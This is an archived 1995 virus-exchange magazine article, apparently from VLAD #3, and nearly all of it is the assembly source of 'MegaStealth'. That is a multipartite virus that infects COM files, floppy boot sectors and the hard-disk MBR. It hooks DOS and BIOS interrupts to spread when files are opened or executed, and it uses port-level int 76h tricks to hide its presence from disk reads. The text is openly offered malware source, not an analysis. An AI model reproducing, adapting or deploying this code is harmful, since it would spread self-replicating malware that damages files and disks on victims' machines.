HPAVC

home *** CD-ROM | disk | FTP | other *** search

/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#3.ZIP / ARTICLE.5_5 < prev next >

Wrap

Text File | 1995-01-30 | 11.3 KB | 631 lines

; MegaStealth Virus Source by qark ; ; COM/BS/MBR Infector ; It uses the new form of stealth developed by the 'strange' virus in ; that even if you are using the original ROM int 13h the virus will ; still successfully stealth. It does this by hooking the hard disk ; IRQ, int 76h, and checking the ports for a read to the MBR. If the ; MBR is being read, the ports will be changed to cause a read from ; sector four instead. ; ; Noone has the 'strange' virus (and believe me, every VX BBS in the ; world has been checked), so I decided to develop the technology ; independently and make the information public. ; org 0 cld mov ax,cs or ax,ax jz bs_entry jmp com_entry ;------------------- Boot Sector Stub ---------------- Marker db '[MegaStealth] by qark/VLAD',0 bs_entry: xor ax,ax mov si,7c00h cli mov ss,ax mov sp,si sti mov es,ax mov ds,ax ;CS,DS,ES,SS,AX=0 SI,SP=7C00H sub word ptr [413h],2 ;Allocate 2k of memory. int 12h ;Get memory into AX. mov cl,6 shl ax,cl mov es,ax mov ax,202h xor bx,bx xor dh,dh mov cx,2 or dl,dl js hd_load db 0b9h ;MOV CX,xxxx floppy_sect dw 0 db 0b6h ;MOV DH,xx floppy_head db 0 hd_load: int 13h ;Read our virus in. mov si,13h*4 mov di,offset i13 movsw movsw mov word ptr [si-4],offset handler mov word ptr [si-2],es mov byte ptr es:set_21,0 ;Test for an 8088. mov al,2 mov cl,33 shr al,cl test al,1 jz no_int76 ;8088 doesn't use int76 mov si,76h*4 ;Set int76 mov di,offset i76 movsw movsw mov word ptr [si-4],offset int76handler mov word ptr [si-2],es mov byte ptr es:llstealth_disable,0 no_int76: int 19h ;Reload the original bootsector. ;------------------- COM Stub ---------------- com_entry: db 0beh ;MOV SI,xxxx delta dw 100h mov ax,0f001h int 13h cmp ax,10f0h je resident mov ax,ds dec ax mov ds,ax cmp byte ptr [0],'Z' jne resident sub word ptr [3],7dh sub word ptr [12h],7dh mov ax,word ptr [12h] push cs pop ds mov es,ax xor di,di push si mov cx,1024 rep movsb xor ax,ax ;Set int13 mov ds,ax mov si,13h*4 mov di,offset i13 movsw movsw mov word ptr [si-4],offset handler mov word ptr [si-2],es pop bx push bx add bx,offset end_virus push es push cs pop es mov ax,201h mov cx,1 mov dx,80h int 13h pop es mov si,21h*4 mov di,offset i21 movsw movsw mov word ptr [si-4],offset int21handler mov word ptr [si-2],es mov byte ptr es:set_21,1 pop si resident: push cs pop ds push cs pop es add si,offset old4 mov di,100h push di movsw movsw ret old4 db 0cdh,20h,0,0 new4 db 0e9h,0,0,'V' ;------------------- Int 21 ---------------- Int21handler: push ax push es mov ax,0b800h mov es,ax mov word ptr es:[340],0afafh pop es pop ax push ax xchg al,ah cmp al,3dh je chk_infect cmp al,4bh je chk_infect cmp al,43h je chk_infect cmp al,56h je chk_infect cmp ax,6ch je chk_infect pop ax exit_21: db 0eah i21 dd 0 far_pop: jmp pop_21 chk_infect: push bx push cx push dx push si push di push ds push es cmp al,6ch jne no_6c mov dx,si no_6c: mov si,dx cld keep_lookin: lodsb cmp al,'.' jne keep_lookin lodsw or ax,2020h cmp ax,'oc' jne far_pop lodsb or al,20h cmp al,'m' jne far_pop mov ax,3d02h call int21h jc far_pop xchg bx,ax mov ah,3fh mov cx,4 push cs pop ds mov dx,offset old4 call int21h mov ax,word ptr [old4] cmp al,0e9h jne chk_exe mov al,byte ptr old4+3 cmp al,'V' je close_exit jmp infect chk_exe: or ax,2020h cmp ax,'mz' je close_exit cmp ax,'zm' je close_exit infect: call lseek_end or dx,dx ;Too big jnz close_exit cmp ax,63500 ja close_exit cmp ax,1000 jb close_exit push ax add ax,100h mov delta,ax pop ax sub ax,3 mov word ptr new4+1,ax mov ax,5700h call int21h jc close_exit push cx push dx mov ah,40h mov cx,offset end_virus xor dx,dx call int21h jc time_exit call lseek_start mov ah,40h mov cx,4 mov dx,offset new4 call int21h time_exit: pop dx pop cx mov ax,5701h call int21h close_exit: mov ah,3eh call int21h pop_21: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax jmp exit_21 lseek_start: mov al,0 jmp short lseek lseek_end: mov al,2 lseek: xor cx,cx cwd mov ah,42h call int21h ret Int21h: pushf call dword ptr cs:i21 ret set_21 db 0 ;1 = 21 is set ;------------------- Int 13 ---------------- Stealth: mov cx,4 mov ax,201h or dl,dl js stealth_mbr ;DL>=80H then goto stealthmbr mov cl,14 mov dh,1 stealth_mbr: call int13h jmp pop_end res_test: xchg ah,al iret multipartite: cmp byte ptr cs:set_21,1 je jend cmp word ptr es:[bx],'ZM' jne jend push si push di push ds push es xor si,si mov ds,si push cs pop es mov si,21h*4 mov di,offset i21 movsw movsw mov word ptr [si-4],offset int21handler mov word ptr [si-2],es mov byte ptr cs:set_21,1 pop es pop ds pop di pop si jmp jend rend: retf 2 Jend: db 0eah ;= JMP FAR PTR i13 dd 0 ;Orig int13h Handler: cmp ax,0f001h ;You fool. je res_test cmp ah,2 jne multipartite cmp cx,1 jne multipartite or dh,dh jnz multipartite call int13h ;Call the read so we can play with ; the buffer. jc rend ;The read didn't go through so leave pushf push ax push bx push cx push dx push si push di push ds push es cmp word ptr es:[bx+offset marker],'M[' je stealth mov byte ptr cs:llstealth_disable,1 mov cx,4 ;Orig HD MBR at sector 3. or dl,dl ;Harddisk ? js write_orig ;80H or above ? ;Calculate shit like track/head for floppy****** push dx push cs pop ds mov ax,es:[bx+18h] ;Sectors per track. sub es:[bx+13h],ax ;Subtract a track. mov ax,es:[bx+13h] ;AX=total sectors. mov cx,es:[bx+18h] ;CX=sectors per track xor dx,dx div cx ;Total sectors/sectors per track xor dx,dx mov cx,word ptr es:[bx+1ah] ;CX=heads div cx ;Total tracks/heads push ax xchg ah,al ;AX=Track mov cl,6 shl al,cl ;Top 2 bits of track. or al,1 ;We'll use the first sector onward. mov word ptr floppy_sect,ax pop ax mov cx,word ptr es:[bx+1ah] ;CX=heads xor dx,dx div cx ;Track/Total Heads mov byte ptr floppy_head,dl ;Remainder=Head number mov cx,14 ;Floppy root directory. pop dx mov dh,1 write_orig: mov ax,301h ;Save the original boot sector. call int13h jc pop_end push es pop ds mov si,bx push cs pop es ;ES=CS mov cx,510 ;Move original sector to our buffer. cld mov di,offset end_virus rep movsb mov ax,0aa55h ;End of sector marker. stosw push cs pop ds xor si,si mov di,offset end_virus mov cx,offset com_entry rep movsb mov bx,offset end_virus mov ax,301h mov cx,1 xor dh,dh call int13h jc pop_end mov ax,302h mov cx,2 xor bx,bx or dl,dl js mbr_write mov cx,word ptr floppy_sect mov dh,byte ptr floppy_head mbr_write: call int13h ;Write the virus! pop_end: mov byte ptr cs:llstealth_disable,0 pop es pop ds pop di pop si pop dx pop cx pop bx pop ax popf jmp rend Int13h Proc Near ; AH & AL are swapped on entry to this call. pushf ;Setup our interrupt push cs ;Our segment call jend ;This will also fix our AX ret Int13h EndP ;------------------- Int 76 ---------------- not_bs: pop es pop ds pop di pop dx pop cx pop bx pop ax no_stealth: db 0eah ;JMPF i76 dd 0 Int76Handler: cmp byte ptr cs:llstealth_disable,1 je no_stealth push ax push bx push cx push dx push di push ds push es mov dx,1f3h in al,dx ;Sector number. cmp al,1 jne not_bs inc dx ;1f4h in al,dx ;Cylinder Low cmp al,0 jne not_bs inc dx ;1f5h in al,dx ;Cylinder High cmp al,0 jne not_bs inc dx ;1f6h in al,dx and al,0fh ;Remove everything but the head. cmp al,0 ;Head jne not_bs inc dx ;1f7h in al,dx test al,0fh jnz disk_read jmp not_bs ;Must be a write. disk_read: cld mov dx,1f0h push cs pop es mov di,offset end_virus mov cx,512/2 rep insw ;Read in what they read. ;Now reset the whole system for a read from sector 4. mov dx,1f2h mov al,1 ;One sector. out dx,al inc dx mov al,4 ;Sector 4 instead. out dx,al ;1f3 mov al,0 inc dx out dx,al ;1f4 inc dx out dx,al ;1f5 inc dx mov al,0a0h out dx,al ;1f6 mov dx,1f7h mov al,20h ;Read function. out dx,al not_done: in al,dx test al,8 jz not_done jmp not_bs llstealth_disable db 0 ;0 means int76 enabled ;---------------------- 76 ------------------- end_virus: